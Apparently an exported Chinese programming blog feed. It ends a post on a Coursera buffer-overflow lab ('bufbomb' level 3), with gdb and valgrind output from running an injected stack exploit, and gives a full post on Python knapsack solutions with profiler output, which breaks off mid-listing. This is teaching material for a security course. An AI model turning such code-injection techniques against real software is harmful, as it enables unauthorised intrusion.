<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line">(gdb) r -u <span class="number">4999723</span> -g &lt; dynamite.bytes </div><div class="line">Starting program: /home/auser/course-materials/lab3/bufbomb -u <span class="number">4999723</span> -g &lt; dynamite.bytes</div><div class="line"><span class="label">Username:</span> <span class="number">4999723</span></div><div class="line">ce</div><div class="line">e2</div><div class="line"><span class="number">32</span></div><div class="line"><span class="number">31</span></div><div class="line"><span class="number">3</span></div><div class="line">a5</div><div class="line"><span class="number">41</span></div><div class="line">1f</div><div class="line"><span class="label">Cookie:</span> <span class="number">0x1f41a5033132e2ce</span></div><div class="line">Boom!: getbuf returned <span class="number">0x1f41a5033132e2ce</span></div><div class="line">Level <span class="number">3</span> VALID</div><div class="line">[Inferior <span class="number">1</span> (process <span class="number">12692</span>) exited normally]</div></pre></td></tr></table></figure>


<p>但是提交后还是不行！不用gdb试着跑了下……果然还是有segmentation fault！怒了，设core file size为unlimited，再跑！没有core？一看源码：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/* Signal handler to catch segmentation violations */</span></div><div class="line"><span class="keyword">void</span> seghandler(<span class="keyword">int</span> sig)</div><div class="line">{</div><div class="line">  <span class="built_in">printf</span>(<span class="string">"Ouch!: You caused a segmentation fault!\n"</span>);</div><div class="line">  <span class="built_in">printf</span>(<span class="string">"Better luck next time\n"</span>);</div><div class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</div><div class="line">}</div></pre></td></tr></table></figure>


<p>我去，竟然拦截了信号量不生成core file。修改代码再编译……发现原来这个代码不完整，没有头文件之类的……还好我们还有神器！祭出<code>valgrind</code>！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div></pre></td><td class="code"><pre><div class="line">bash-4.2$ valgrind ./bufbomb -g -u 4999723 &lt; exploit.bytes </div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">Memcheck</span>, a memory error detector</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">Copyright</span> (<span class="constant">C</span>) <span class="number">2002</span>-<span class="number">2012</span>, <span class="keyword">and</span> <span class="constant">GNU</span> <span class="constant">GPL</span><span class="string">'d, by Julian Seward et al.</span></span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">Using</span> <span class="constant">Valgrind</span>-<span class="number">3.8</span>.<span class="number">1</span> <span class="keyword">and</span> <span class="constant">LibVEX</span>; rerun with -h <span class="keyword">for</span> copyright info</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">Command</span><span class="symbol">:</span> ./bufbomb -g -u <span class="number">4999723</span></span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== </span></div><div class="line">Username: 4999723</div><div class="line">ce</div><div class="line">e2</div><div class="line">32</div><div class="line">31</div><div class="line">3</div><div class="line">a5</div><div class="line">41</div><div class="line">1f</div><div class="line">Cookie: 0x1f41a5033132e2ce</div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">Jump</span> to the invalid address stated on the <span class="keyword">next</span> line</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    at <span class="number">0x7FFFFFFFB900</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xA5033132E2CEB847</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0x4900400EF3681F40</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xDEADBEEFB9</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xC3E855894BFF</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0x7FF00059F</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0x400FDC</span><span class="symbol">:</span> launch.isra.<span class="number">1</span> (bufbomb.<span class="symbol">c:</span><span class="number">343</span>)</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xF4F4F4F4F4F4F4F3</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xF4F4F4F4F4F4F4F3</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xF4F4F4F4F4F4F4F3</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xF4F4F4F4F4F4F4F3</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    by <span class="number">0xF4F4F4F4F4F4F4F3</span><span class="symbol">:</span> ???</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==  <span class="constant">Address</span> <span class="number">0x7fffffffb900</span> is <span class="keyword">not</span> stack<span class="string">'d, malloc'</span>d <span class="keyword">or</span> (recently) free<span class="string">'d</span></span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== </span></div><div class="line">Ouch!: You caused a segmentation fault!</div><div class="line">Better luck next time</div><div class="line">=<span class="ruby">=<span class="number">14149</span>== </span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">HEAP</span> <span class="constant">SUMMARY</span><span class="symbol">:</span></span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==     <span class="keyword">in</span> use at <span class="symbol">exit:</span> <span class="number">16</span>,<span class="number">392</span> bytes <span class="keyword">in</span> <span class="number">2</span> blocks</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==   total heap <span class="symbol">usage:</span> <span class="number">2</span> allocs, <span class="number">0</span> frees, <span class="number">16</span>,<span class="number">392</span> bytes allocated</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== </span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">LEAK</span> <span class="constant">SUMMARY</span><span class="symbol">:</span></span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    definitely <span class="symbol">lost:</span> <span class="number">0</span> bytes <span class="keyword">in</span> <span class="number">0</span> blocks</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    indirectly <span class="symbol">lost:</span> <span class="number">0</span> bytes <span class="keyword">in</span> <span class="number">0</span> blocks</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==      possibly <span class="symbol">lost:</span> <span class="number">16</span>,<span class="number">384</span> bytes <span class="keyword">in</span> <span class="number">1</span> blocks</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==    still <span class="symbol">reachable:</span> <span class="number">8</span> bytes <span class="keyword">in</span> <span class="number">1</span> blocks</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>==         <span class="symbol">suppressed:</span> <span class="number">0</span> bytes <span class="keyword">in</span> <span class="number">0</span> blocks</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">Rerun</span> with --leak-check=full to see details of leaked memory</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== </span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">For</span> counts of detected <span class="keyword">and</span> suppressed errors, rerun <span class="symbol">with:</span> -v</span></div><div class="line">=<span class="ruby">=<span class="number">14149</span>== <span class="constant">ERROR</span> <span class="constant">SUMMARY</span><span class="symbol">:</span> <span class="number">1</span> errors from <span class="number">1</span> contexts (<span class="symbol">suppressed:</span> <span class="number">2</span> from <span class="number">2</span>)</span></div></pre></td></tr></table></figure>


<p>看上去是直接跑stack空间的代码导致了问题……目前就卡在这里没有进展了……求大神指点迷津啊！</p>
<p><strong>(2014-08-05 Update)</strong> 今天早上来不甘心又试了下，比较了正常返回到<code>test</code>函数与从我注入的代码跳转回来时各寄存器的值，发现<code>%r10</code>原来是有值的，我就改成用<code>%r15</code>来放deadbeef了。改了注入后情况还是一样，gdb里通过直接命令行跑报错。记得老师上课说我们这种注入方法目前是没法用的，因为stack区域的代码理论上是不可执行的，所以我觉得报错也正常吧……又提交了一次结果这次竟然就满分了。有点诡异！另外之前我试着直接在汇编代码里写<code>movq $0xdeadbeef,-0x18(%rbp)</code>发现会报operand size mismatch错误。感觉是因为赋值太长，超出了指令最长8个字节的限制，所以还是用了个寄存器来中转下。不知道别的同学是用啥方法来复原这个deadbeef的。</p>
<h2 id="完结">完结</h2>
<p>足足花了两天时间搞这个，最后那个问题去论坛问了，有好多人碰到，暂时还没解答……发现问同样问题的人里有个中国人，一看他选的课跟我有很多重合的！再看了看他的LinkedIn，竟然是91年就上本科的大叔……目前是AT&amp;T的技术经理！一把年纪了还在Coursera上刷课，这种学习精神真是令人钦佩啊！我也要活到老学到老！</p>
]]></content>
    
    
      <category term="Assembly" scheme="http://zijie0.github.io/tags/Assembly/"/>
    
      <category term="Coursera" scheme="http://zijie0.github.io/tags/Coursera/"/>
    
      <category term="Linux" scheme="http://zijie0.github.io/tags/Linux/"/>
    
      <category term="gdb" scheme="http://zijie0.github.io/tags/gdb/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Python Algorithms - Knapsack Problem]]></title>
    <link href="http://zijie0.github.io/2014/07/24/Python-Algorithms---Knapsack-Problem/"/>
    <id>http://zijie0.github.io/2014/07/24/Python-Algorithms---Knapsack-Problem/</id>
    <published>2014-07-24T08:20:30.000Z</published>
    <updated>2014-08-10T04:57:40.000Z</updated>
    <content type="html"><![CDATA[<p>前面两篇都写得很长，然后就导致一个多月都没写新的，有种唱歌调起高了的感觉。以后还是想到什么就记录一下吧，不要搞得太严肃各种有压力啊。</p>
<p>上周Stanford算法设计与分析课的作业是经典的背包问题，用来练习刚刚习得的Dynamic Programming技能。按照课上老师讲的方法，用Python写一下具体实现，先求解问题，再还原最优解中所有的Item：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">knapsack</span><span class="params">(maxweight, items)</span>:</span></div><div class="line">    bestvalues = [[<span class="number">0</span>] * (maxweight + <span class="number">1</span>)</div><div class="line">                  <span class="keyword">for</span> _ <span class="keyword">in</span> xrange(len(items) + <span class="number">1</span>)]</div><div class="line"> </div><div class="line">    <span class="keyword">for</span> i, (value, weight) <span class="keyword">in</span> enumerate(items):</div><div class="line">        <span class="keyword">for</span> capacity <span class="keyword">in</span> xrange(maxweight + <span class="number">1</span>):</div><div class="line">            <span class="keyword">if</span> weight &gt; capacity:</div><div class="line">                bestvalues[i + <span class="number">1</span>][capacity] = bestvalues[i][capacity]</div><div class="line">            <span class="keyword">else</span>:</div><div class="line">                case1 = bestvalues[i][capacity]</div><div class="line">                case2 = bestvalues[i][capacity - weight] + value</div><div class="line"> </div><div class="line">                bestvalues[i + <span class="number">1</span>][capacity] = max(case1, case2)</div><div class="line"> </div><div class="line">    trackback = []</div><div class="line">    n = len(items)</div><div class="line">    w = maxweight</div><div class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(n, <span class="number">0</span>, -<span class="number">1</span>):</div><div class="line">        <span class="keyword">if</span> bestvalues[i][w] != bestvalues[i - <span class="number">1</span>][w]:</div><div class="line">            trackback.append(items[i - <span class="number">1</span>])</div><div class="line">            w -= items[i - <span class="number">1</span>][<span class="number">1</span>]</div><div class="line"> </div><div class="line">    trackback.reverse()</div><div class="line"> </div><div class="line">    <span class="keyword">return</span> bestvalues[len(items)][maxweight], trackback</div></pre></td></tr></table></figure>


<p>恩，这个应该大家都很熟悉了，先分割子问题，然后用个二维数组来记录之前求得的结果避免重复计算，这样复杂度是<code>O(nw)</code>。不过这个作业有两问，第二问的数据量一下子大了很多，有2000个item，背包容量达2000000……恩，估计是给奥特曼背的……再用这个程序一跑，很快就出了Memory Error，数组太大啦！</p>
<p>怎么优化呢？比较自然的想法就是只计算那些有必要计算的子问题，从顶向下来跑，用递归和cache，也是比较好实现的：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">knapsack</span><span class="params">(items, maxweight)</span>:</span></div><div class="line">    </div><div class="line">    <span class="decorator">@memoize</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">bestvalue</span><span class="params">(i, j)</span>:</span></div><div class="line">        <span class="keyword">if</span> i == <span class="number">0</span>: <span class="keyword">return</span> <span class="number">0</span></div><div class="line">        value, weight = items[i - <span class="number">1</span>]</div><div class="line">        <span class="keyword">if</span> weight &gt; j:</div><div class="line">            <span class="keyword">return</span> bestvalue(i - <span class="number">1</span>, j)</div><div class="line">        <span class="keyword">else</span>:</div><div class="line">            <span class="keyword">return</span> max(bestvalue(i - <span class="number">1</span>, j),</div><div class="line">                       bestvalue(i - <span class="number">1</span>, j - weight) + value)</div><div class="line"> </div><div class="line">    j = maxweight</div><div class="line">    result = []</div><div class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(len(items), <span class="number">0</span>, -<span class="number">1</span>):</div><div class="line">        <span class="keyword">if</span> bestvalue(i, j) != bestvalue(i - <span class="number">1</span>, j):</div><div class="line">            result.append(items[i - <span class="number">1</span>])</div><div class="line">            j -= items[i - <span class="number">1</span>][<span class="number">1</span>]</div><div class="line">    result.reverse()</div><div class="line">    <span class="keyword">return</span> bestvalue(len(items), maxweight)</div></pre></td></tr></table></figure>


<p>还尝试了下对我来说很新潮的decorator哈哈！这个东西看起来真是各种专业，感兴趣的同学可以看耗子哥的<a href="http://coolshell.cn/articles/11265.html" target="_blank" rel="external">介绍</a>。下面的代码来自<a href="https://wiki.python.org/moin/PythonDecoratorLibrary#Memoize" target="_blank" rel="external">官方wiki</a>。</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">memoize</span><span class="params">(obj)</span>:</span></div><div class="line">    cache = obj.cache = {}</div><div class="line"> </div><div class="line">    <span class="decorator">@functools.wraps(obj)</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">memoizer</span><span class="params">(*args, **kwargs)</span>:</span></div><div class="line">        <span class="keyword">if</span> args <span class="keyword">not</span> <span class="keyword">in</span> cache:</div><div class="line">            cache[args] = obj(*args, **kwargs)</div><div class="line">        <span class="keyword">return</span> cache[args]</div><div class="line">    <span class="keyword">return</span> memoizer</div></pre></td></tr></table></figure>


<p>信心满满开始跑大case！然后很快就又报错说递归层数超限制了……好吧，改下限制：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> sys</div><div class="line">sys.setrecursionlimit(<span class="number">3000</span>)</div></pre></td></tr></table></figure>


<p>本以为这样搞一下应该瞬间出结果了吧，结果还是跑了近2分钟（110秒）……不过看下总共解的子问题数量已经降到了6227855 / (2000000 * 2000)，也就是原来的0.156%！</p>
<p>算法课的老师说，我们搞算法，最重要的一个问题就是：“<strong>Can we do better?</strong>” 像我这样的有志青年，怎么能满足于2分钟才能跑出来的结果呢？！！于是我点开课程讨论区，看看大家有没有什么更好的解法……果然！有一位来自大洋彼岸的名叫大卫的同学提出了稀疏Column的解法，其思想就是在原始的子问题矩阵中，其实有很多是重复的值（因为重量往往比较大比较分散，所以很多计算其实都无法加上新item而只是沿用之前的值（而且还得取两个值算一次max呢，感觉很亏！）。所以事实上我们只需要记录在一列中发生数值变化的那几个点就可以了！这样将大大减少计算量以及存储矩阵所需要的空间！</p>
<p>有了思路就可以来实现了！大致就是轮一遍所有的Item，搞个Hash来存总Value，Key就是当前的总Weight，每到新一个Item的时候取出Hash中所有的Key，然后加上当前轮Item的Weight即为新的发生变化的点，判断下不要超出Max Weight，如果与之前的Key有重合就取比较大的结果，总的来说思路跟原始的bottom-up做法是一样的。代码如下，命名比较乱，而且没有去实现回溯……</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">knapsack</span><span class="params">(items, maxweight)</span>:</span></div><div class="line">    <span class="comment"># history = []</span></div><div class="line">    result = {}</div><div class="line">    result[<span class="number">0</span>] = <span class="number">0</span></div><div class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(len(items)):</div><div class="line">        v, w = items[i]</div><div class="line">        new_res = dict(result)</div><div class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> sorted(result.keys()):</div><div class="line">            <span class="keyword">if</span> c + w &gt; maxweight:</div><div class="line">                <span class="keyword">break</span></div><div class="line">            <span class="keyword">if</span> result.get(c+w):</div><div class="line">                new_res[c+w] = max(result[c+w], result[c] + v)</div><div class="line">            <span class="keyword">else</span>:</div><div class="line">                new_res[c+w] = result[c] + v</div><div class="line">        result = dict(new_res)</div><div class="line">        <span class="comment"># history.append(result)</span></div><div class="line"> </div><div class="line">    <span class="keyword">return</span> result[max(result.keys())]</div></pre></td></tr></table></figure>


<p>不过理想是美好的，现实总是残酷的。实现完后一跑就出问题了，跟正确答案总是差那么一点点……是哪里不对了呢？然后自己搞了个小数据量的Case看了下，发现少考虑了一种情况！那就是如果有一个Item的Value很大，Weight也很大（比如正好比一半多一点），当背包里只放它一件物品的时候总Value就超过其它所有物品的Value和了，那么当计算到它时必须把后面比它小的那些Value都给删掉！这样才能确保获得正确答案！这样一来感觉就有点麻烦了啊，还要删掉Value……试了下用数组用哈希都可以，数组的话就是用两组index的数组像merge sort那样分别取Weight出来保证有序，如果比之前的Value小就不写入新result里了。还有就是下面还是用Hash做的方法：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">knapsack</span><span class="params">(items, maxweight)</span>:</span></div><div class="line">    <span class="comment"># history = []</span></div><div class="line">    result = {}</div><div class="line">    result[<span class="number">0</span>] = <span class="number">0</span></div><div class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(len(items)):</div><div class="line">        v, w = items[i]</div><div class="line">        new_res = {}</div><div class="line">        changed_weight = dict.fromkeys(result.keys(), <span class="number">0</span>)</div><div class="line">        new_weights = dict(changed_weight)</div><div class="line">        <span class="keyword">for</span> k <span class="keyword">in</span> changed_weight:</div><div class="line">            new_weight = k + w</div><div class="line">            <span class="keyword">if</span> new_weight &lt;= maxweight:</div><div class="line">                <span class="keyword">if</span> new_weight <span class="keyword">in</span> changed_weight:</div><div class="line">                    new_weights[new_weight] = <span class="number">1</span></div><div class="line">                <span class="keyword">else</span>:</div><div class="line">                    new_weights[new_weight] = -<span class="number">1</span></div><div class="line">        last_val = -<span class="number">1</span></div><div class="line">        <span class="keyword">for</span> (k, c) <span class="keyword">in</span> sorted(new_weights.items(), key=<span class="keyword">lambda</span> x: x[<span class="number">0</span>]):</div><div class="line">            <span class="keyword">if</span> c == <span class="number">0</span>:</div><div class="line">                new_val = result[k]</div><div class="line">            <span class="keyword">elif</span> c == <span class="number">1</span>:</div><div class="line">                new_val = max(result[k], result[k-w] + v)</div><div class="line">            <span class="keyword">else</span>:</div><div class="line">                new_val = result[k-w] + v</div><div class="line">            <span class="keyword">if</span> new_val &gt; last_val:</div><div class="line">                new_res[k] = new_val</div><div class="line">                last_val = new_val</div><div class="line">        result = dict(new_res)</div><div class="line">        <span class="comment"># history.append(result)</span></div><div class="line"> </div><div class="line">    <span class="keyword">return</span> result[max(result.keys())]</div></pre></td></tr></table></figure>


<p>哈哈，还是挺有趣的吧！跑了一下大约4.3s完成！速度提升25x！用cProfile, <a href="https://pythonhosted.org/line_profiler/" target="_blank" rel="external">line_profiler</a>, <a href="https://pypi.python.org/pypi/memory_profiler" target="_blank" rel="external">memory_profiler</a>等Python的性能工具对比看了下，这个Sparse Column的实现占用内存大约11.4MB，而Top-down Recursive的实现要占用1159MB！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="type">Line</span> <span class="comment">#    Mem usage    Increment   Line Contents</span></div><div class="line">================================================</div><div class="line">    <span class="number">12</span>    <span class="number">8</span>.<span class="number">641</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>   @profile</div><div class="line">    <span class="number">13</span>                             def main():</div><div class="line">    <span class="number">14</span>    <span class="number">8</span>.<span class="number">645</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">004</span> <span class="type">MiB</span>       cache = {}</div><div class="line">    <span class="number">15</span>    <span class="number">9</span>.<span class="number">031</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">387</span> <span class="type">MiB</span>       total_weight, total_item, items = generate_items('knapsack_big.txt')</div><div class="line">    <span class="number">16</span>    <span class="number">9</span>.<span class="number">031</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>       def memo(i, j):</div><div class="line">    <span class="number">17</span>                                     <span class="keyword">if</span> (i, j) <span class="keyword">in</span> cache:</div><div class="line">    <span class="number">18</span>                                         <span class="keyword">return</span> cache[(i, j)]</div><div class="line">    <span class="number">19</span>                                     <span class="keyword">if</span> i == <span class="number">0</span>:</div><div class="line">    <span class="number">20</span>                                         <span class="keyword">return</span> <span class="number">0</span></div><div class="line">    <span class="number">21</span>                                     v, w = items[i - <span class="number">1</span>]</div><div class="line">    <span class="number">22</span>                                     <span class="keyword">if</span> j - w &lt; <span class="number">0</span>:</div><div class="line">    <span class="number">23</span>                                         <span class="literal">result</span> = memo(i-<span class="number">1</span>, j)</div><div class="line">    <span class="number">24</span>                                         cache[(i, j)] = <span class="literal">result</span></div><div class="line">    <span class="number">25</span>                                         <span class="keyword">return</span> <span class="literal">result</span></div><div class="line">    <span class="number">26</span>                                     <span class="keyword">else</span>:</div><div class="line">    <span class="number">27</span>                                         <span class="literal">result</span> = max(memo(i-<span class="number">1</span>, j), memo(i-<span class="number">1</span>, j-w) + v)</div><div class="line">    <span class="number">28</span>                                         cache[(i, j)] = <span class="literal">result</span></div><div class="line">    <span class="number">29</span>                                         <span class="keyword">return</span> <span class="literal">result</span></div><div class="line">    <span class="number">30</span></div><div class="line">    <span class="number">31</span> <span class="number">1159</span>.<span class="number">055</span> <span class="type">MiB</span> <span class="number">1150</span>.<span class="number">023</span> <span class="type">MiB</span>       print memo(total_item, total_weight)</div></pre></td></tr></table></figure>


<p>Sparse Column的实现只消耗了Top-down实现1%的内存！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"><span class="type">Line</span> <span class="comment">#    Mem usage    Increment   Line Contents</span></div><div class="line">================================================</div><div class="line">     <span class="number">9</span>    <span class="number">9</span>.<span class="number">008</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>   @profile</div><div class="line">    <span class="number">10</span>                             def knapsack(items, maxweight):</div><div class="line">    <span class="number">11</span>                                 <span class="comment">#history = []</span></div><div class="line">    <span class="number">12</span>    <span class="number">9</span>.<span class="number">012</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">004</span> <span class="type">MiB</span>       <span class="literal">result</span> = {}</div><div class="line">    <span class="number">13</span>    <span class="number">9</span>.<span class="number">012</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>       <span class="literal">result</span>[<span class="number">0</span>] = <span class="number">0</span></div><div class="line">    <span class="number">14</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">2</span>.<span class="number">387</span> <span class="type">MiB</span>       <span class="keyword">for</span> i <span class="keyword">in</span> <span class="type">range</span>(len(items)):</div><div class="line">    <span class="number">15</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           v, w = items[i]</div><div class="line">    <span class="number">16</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           new_res = {}</div><div class="line">    <span class="number">17</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           changed_weight = dict((k, <span class="number">0</span>) <span class="keyword">for</span> k <span class="keyword">in</span> <span class="literal">result</span>.keys())</div><div class="line">    <span class="number">18</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           new_weights = dict(changed_weight)</div><div class="line">    <span class="number">19</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           <span class="keyword">for</span> k <span class="keyword">in</span> changed_weight:</div><div class="line">    <span class="number">20</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>               new_weight = k + w</div><div class="line">    <span class="number">21</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>               <span class="keyword">if</span> new_weight &lt;= maxweight:</div><div class="line">    <span class="number">22</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                   <span class="keyword">if</span> new_weight <span class="keyword">in</span> changed_weight:</div><div class="line">    <span class="number">23</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                       